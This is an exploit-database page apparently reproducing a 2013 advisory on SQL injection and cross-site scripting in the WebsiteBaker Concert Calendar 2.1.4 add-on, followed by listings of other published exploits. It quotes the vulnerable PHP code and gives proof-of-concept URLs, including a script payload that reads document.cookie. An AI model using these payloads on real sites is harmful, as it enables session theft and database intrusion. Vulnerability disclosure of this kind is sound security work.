Menu

Search for hundreds of thousands of exploits

"WebsiteBaker Addon Concert Calendar 2.1.4 - Multiple Vulnerabilities"

Author

Exploit author

"Stefan Schurtz"

Platform

Exploit platform

php

Release date

Exploit published date

2013-01-09

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Advisory:		Websitebaker Add-on 'Concert Calendar 2.1.4' XSS & SQLi vulnerability
Advisory ID:		SSCHADV2013-001
Author:			Stefan Schurtz
Affected Software:	Successfully tested on Concert Calendar 2.1.4
Vendor URL:		http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
Vendor Status:		informed

==========================
Vulnerability Description
==========================

Websitebaker Add-on 'Concert Calendar 2.1.4' is prone to a XSS and SQLi vulnerability

==========================
Vuln code
==========================

// view.php

if (isset($_GET['date'])) {
        $date = $_GET['date'];
}
.
.
.
// SQLi
$query_dates = mysql_query("SELECT * FROM ".TABLE_PREFIX."mod_concert_dates WHERE section_id = '$section_id' && concert_date = '$date'"); // Zeile 184

// XSS

echo " ".switch_date($date, $dateview)." "; // Zeile 176

==========================
PoC-Exploit
==========================

// SQLi (magic_quotes = off)

http://[target]/wb/pages/addon.php?date=[SQLi]

// XSS

http://[target]/wb/pages/addon.php?date='"><script>alert(document.cookie)</script>

==========================
Solution
==========================

-

==========================
Disclosure Timeline
==========================

01-Jan-2013 - developer informed 

==========================
Credits
==========================

Vulnerabilities found and advisory written by Stefan Schurtz.

==========================
References
==========================

http://addons.websitebaker2.org/pages/en/browse-add-ons.php?id=0E8BC37
http://www.darksecurity.de/advisories/2012/SSCHADV2012-022.txt
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2014-02-07 "S9Y Serendipity 1.7.5 - 'Backend' Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2013-03-30 "WordPress Plugin Feedweb - 'wp_post_id' Cross-Site Scripting" webapps php "Stefan Schurtz"
2013-01-09 "WebsiteBaker Addon Concert Calendar 2.1.4 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-12-24 "Hero Framework - users/login 'Username' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-12-24 "Hero Framework - 'search?q' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-09-02 "Admidio 2.3.5 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-08-18 "SaltOS - 'download.php' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-07-09 "MGB - Multiple Cross-Site Scripting / SQL Injections" webapps php "Stefan Schurtz"
2012-05-19 "PHP Address Book 7.0.0 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-05-17 "PHP Address Book 7.0 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-05-08 "S9Y Serendipity 1.6 - 'Backend' Cross-Site Scripting / SQL Injection" webapps php "Stefan Schurtz"
2012-04-29 "Alienvault Open Source SIEM (OSSIM) 3.1 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-03-28 "KnFTPd 1.0.0 - 'FEAT' Denial of Service (PoC)" dos windows "Stefan Schurtz"
2012-03-28 "WordPress Plugin Integrator 1.32 - 'redirect_to' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-03-21 "CMSimple 3.3 - 'index.php' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-03-12 "Wikidforum 2.10 - Advanced Search Multiple Field SQL Injections" webapps php "Stefan Schurtz"
2012-03-12 "Wikidforum 2.10 - Advanced Search Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-03-12 "Wikidforum 2.10 - Search Field Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-03-10 "PHP Address Book 6.2.12 - Multiple Vulnerabilities" webapps php "Stefan Schurtz"
2012-02-22 "ContentLion Alpha 1.3 - 'login.php' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-01-16 "BoltWire 3.4.16 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-16 "phpVideoPro 0.8.x/0.9.7 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-16 "ATutor 2.0.3 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-16 "Beehive Forum 101 - Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-05 "SQLiteManager 1.2.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities" webapps php "Stefan Schurtz"
2012-01-05 "SQLiteManager 1.2.4 - 'main.php?dbsel' Cross-Site Scripting" webapps php "Stefan Schurtz"
2012-01-05 "VertrigoServ 2.25 - 'extensions.php' Script Cross-Site Scripting" webapps php "Stefan Schurtz"
2011-12-26 "Nagios Plugins check_ups - Local Buffer Overflow (PoC)" dos linux "Stefan Schurtz"
2011-12-20 "Tiki Wiki CMS Groupware 8.1 - 'show_errors' HTML Injection" webapps php "Stefan Schurtz"
2011-12-16 "Seotoaster - SQL Injection" webapps php "Stefan Schurtz" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected